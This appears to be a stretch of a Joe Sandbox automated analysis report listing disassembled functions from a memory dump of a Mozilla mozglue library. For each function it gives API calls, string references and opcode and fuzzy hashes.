Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction ID: 297abd91c9a7b622260a04843133fe2be1a6b8dc702dc8f9656b893a9e19ed30
Opcode Fuzzy Hash: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction Fuzzy Hash: 6341AF71A047469FD300DF29C88056AFBF4FFCA254F604A2DE4A987640DB70E95ACB96

Function 6C5E6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5E82BC,?,?), ref: 6C5E649B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E64A9

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E653F
free.MOZGLUE(?), ref: 6C5E655A

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction ID: 990e4a6c5b7bfcdbecc680458b6d647096665b742da5f0d009d51041a66f46f4
Opcode Fuzzy Hash: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction Fuzzy Hash: 003181B5A043059FC704CF14D88069EBBE4FF89314F40442EE85A97741DB34E919CB96

Function 6C5DFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5DFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5DFFF5
free.MOZGLUE(?,?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5E001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5E002A

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction ID: 86481ef2ef319477e5278dfe31cc76e7cfa570f9dee89733d0664d46ce90e840
Opcode Fuzzy Hash: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction Fuzzy Hash: DA21D6B2A002165BC718DE7C9C948AFB7BAFBC93247250738E525D7780EB71AD0187E5

Function 6C5BB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BB4F5
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB502
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB542
free.MOZGLUE(?), ref: 6C5BB578

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction ID: 87d1e21dcf8f64cb89cdc75139f47cafdca46d96d00ca8120aa426b6a3e84de6
Opcode Fuzzy Hash: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction Fuzzy Hash: 5C11F030A04B00C7C3118F2AC9807A5B7B0FFD6318F10570AD84A63A02FBF4B1C18B96

Function 6C5E3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5AF20E,?), ref: 6C5E3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5AF20E,00000000,?), ref: 6C5E3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5E3E0E

Part of subcall function 6C5DCC00: GetCurrentProcess.KERNEL32(?,?,6C5A31A7), ref: 6C5DCC0D
Part of subcall function 6C5DCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5A31A7), ref: 6C5DCC16

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction ID: 54c36f2300aacf374a4ab28a68a95182243e461c5d95669c4df6d6bd7a5cba32
Opcode Fuzzy Hash: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction Fuzzy Hash: EDF012715002087FD700AB55DC81DAB376DEB86624F050020FE0957741D739BD5596FB

Function 6C5F2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F208E
free.MOZGLUE(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F20A3

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction ID: 391da3366dc8c6688c1ce1f87a9af8fec735c5d15e5b594202f07a721ba04a0f
Opcode Fuzzy Hash: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction Fuzzy Hash: 1AF0B4B2100600DBC7118F17DC88B9BB7F9EFC6364F10051AE94687710C776A806CB9A

Function 6C5F85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5F85D3

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5F8725

Strings

map/set<T> too long, xrefs: 6C5F8720

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction ID: 8744cc00671aabb540df735202770512f76d75cb83b376f8c0167df48dc31244
Opcode Fuzzy Hash: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction Fuzzy Hash: 94516474600641CFC705CF1AC884B5ABBF1BF5A318F18C58AD8695BB52C335E886CF92

Function 6C5ABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5ABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5ABE8F

Strings

0, xrefs: 6C5ABE5B

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction ID: e1e1b2850043cf09a21d4318144441802e4d438342b90bb6193782944b4280db
Opcode Fuzzy Hash: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction Fuzzy Hash: 8C41B171909749CFC701DFBAC881A9FBBF4AF8A348F004A1DF98597611D730D94A8B92

Function 6C5E3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5E3D6C

Strings

d, xrefs: 6C5E3D58

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction ID: b3de1599416444cc140386dc4567eb343d23b19b8ce20dcefd6d08b4140a8cc1
Opcode Fuzzy Hash: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction Fuzzy Hash: F3113431E04688D7DF018F6ECC444EDB775EFDA258F458229DC459B612EB34A984C390

Function 6C5B4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

Strings

GetNtLoaderAPI, xrefs: 6C5B4744

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction ID: e377d0aa49a38f1f29246ed5ffa417c707ad2c65e92467725175113c95433efa
Opcode Fuzzy Hash: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction Fuzzy Hash: E2018C753052159FDF109FA78894A1D7BB9EB8A311F040069EA06D7300CB78D802CF9A

Function 6C606DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C606E22
__Init_thread_footer.LIBCMT ref: 6C606E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C606E1D

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction ID: 024e4cc1d8689df441d8ceaff222fce83e046cd8f734c1fc08befb674e403705
Opcode Fuzzy Hash: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction Fuzzy Hash: 26F0FA30309380CAEB008B69CAA0EC277729742B18F040165C80186FA1CA29F987CF9F

Function 6C5B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B9EEF

Strings

NaN, xrefs: 6C5B9EC1
Infinity, xrefs: 6C5B9EB7

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction ID: fbaf3a5bb5981a9dc85788cc8266dce170ca99ea17aa831848620ec5fdbcdc7c
Opcode Fuzzy Hash: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction Fuzzy Hash: E5F0A970600262CAEB008F1ADE96B823BF1A35371AF600E19D5041AB80D73E7946CF8F

Function 6C5B6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C42

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C58

Strings

0K^l, xrefs: 6C5B6C33, 6C5B6C41, 6C5B6C57

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K^l
API String ID: 1967447596-3449559093
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7730db33859605fa4891f2fc2e51ff307dea3b65e17dffbf0f658fc81488f961
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 74E026F1A103004ADB0CD8799C2A52A79C8CB352A87044A35E826F3BC8FF34F9408051

Function 6C5B3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62F860), ref: 6C5B385C
ReleaseSRWLockExclusive.KERNEL32(6C62F860,?), ref: 6C5B3871

Strings

,bl, xrefs: 6C5B387A

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,bl
API String ID: 17069307-4033880889
Opcode ID: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction ID: c587f609c1da52f53258d3f17e377b0dcfd55333d9ce8ae54d14a3b2ce5bb89a
Opcode Fuzzy Hash: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction Fuzzy Hash: 6CE0DF32916A29D7C7019FA7985158ABFB8EE83AA17044515F80A3BE00CB3CA4408ECF

Function 6C5BBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5BBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5BBEF5

Strings

cryptbase.dll, xrefs: 6C5BBEF0

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction ID: 5a8e827c48539296f82e644b6e10bc4caaacba438bdb67aedd30e8c440003529
Opcode Fuzzy Hash: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction Fuzzy Hash: 99D0C731184208EAD740BA518D56B253B74E741755F10C421F79654961C7F5A451CF58

Function 6C5FB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB628

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5FB127,?,?,?,?,?,?,?,?), ref: 6C5FB74D

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction ID: b712c67391636e8cc1ced318c4a05d7d813e26569a77d797f07b665b612d7291
Opcode Fuzzy Hash: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction Fuzzy Hash: 6651BF71A06216CBDB18EF18CD8065EB7B5FF85304F55852DC86AAB700E731A806CFA1

Function 6C5FDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5EFF2A), ref: 6C5FDFFD

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C5EFF2A), ref: 6C5FE0FE

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction ID: 53dfd28938f0a45e317777257ab16be6561e4e64da06be9331d203c65a2feaab
Opcode Fuzzy Hash: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction Fuzzy Hash: F841B3B16046168FEB18CF68DC8075A77BAEB45308F244939D526DB740E7B2E906CFD2

Function 6C5F6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5F6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5F6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5F6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F6F5C

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
